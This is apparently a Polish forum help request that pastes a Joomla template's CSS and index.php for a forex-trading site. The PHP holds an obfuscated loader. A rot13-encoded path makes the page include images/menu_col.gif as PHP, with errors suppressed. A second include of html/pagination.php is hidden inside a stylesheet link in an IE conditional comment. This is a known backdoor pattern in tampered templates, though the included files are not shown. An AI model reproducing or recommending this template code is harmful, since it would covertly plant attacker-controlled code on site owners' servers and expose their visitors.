
CSS
- Kod: Zaznacz wszystko
@charset "utf-8";
/*** blue ***/
a:link, a:visited {
color: #DA2424;
text-decoration:underline;
}
a:hover {
color: #DA2424;
text-decoration:none;
}
#page_bg{
background:url(../images/red/bg_page.png) top repeat-x #020201;
}
#topnav{ background: #6E0C13 url(../images/red/top_menu_bg.png) top repeat-x; }
#topnav ul li a:hover{ background: #46484D; }
#topnav ul li a.active{ background: #46484D; }
#topnav ul li li { background: #46484D; KHTMLOpacity: 0.90; MozOpacity: 0.90; opacity: 0.90; }
#topnav ul li li a:hover{ background: #2E0302; filter: alpha(opacity:90); KHTMLOpacity: 0.90; MozOpacity: 0.90; opacity: 0.90; }
#date{
background: url(../images/red/menu_right.png) top right no-repeat;
}
#leftcolumn h3,
#rightcolumn h3{
background: #AE0010 url(../images/red/bg_h3.png) top center no-repeat;
}
ul.menu li#current {
background:#E8ECF7;
border-left:4px solid #0A296E;
}
ul.menu li#current a{
text-decoration:none;
color:#363636;
background:#E8ECF7;
}
a.readon, a.readon:hover, a.readon:visited{
display:block;
height:29px;
width:114px;
color:#FFFFFF;
padding-left: 30px;
line-height:29px;
background: url(../images/red/bg_read_more.png) top left no-repeat;
margin:10px 0px 0px 0px;
}
#power_by, #power_by a, #power_by a:visited{
color:#8c8c8c;
text-decoration:none;
font-size:11px;
}
ul.menu li{
list-style:none;
background:url(../images/red/menu_arrow.gif) top left no-repeat;
}
#f_area h3{
background: url(../images/red/f_area_h3.png) top left no-repeat;
}
ul.mostread li{
list-style:none;
background:url(../images/red/menu_arrow.gif) top left no-repeat;
}
ul.latestnews li{
list-style:none;
background:url(../images/red/menu_arrow.gif) top left no-repeat;
}
.moduletable ul li {
list-style:none;
background:url(../images/red/menu_arrow.gif) top left no-repeat;
}
#f_area a {
color:#FFFFFF;
}
div.componentheading{
color:#2E424B;
}
table.moduletable {
width : 167px;
border : 1px solid #C0C0C0;
margin-bottom : 10px;
margin-left :10px;
}
html
- Kod: Zaznacz wszystko
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
<div id="main_bg" class="banner1">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
<div id="main_top"><jdoc:include type="modules" name="top" /></div>
<br clear="all" /></div>
<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>
<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Z gory dziekuje za pomoc!
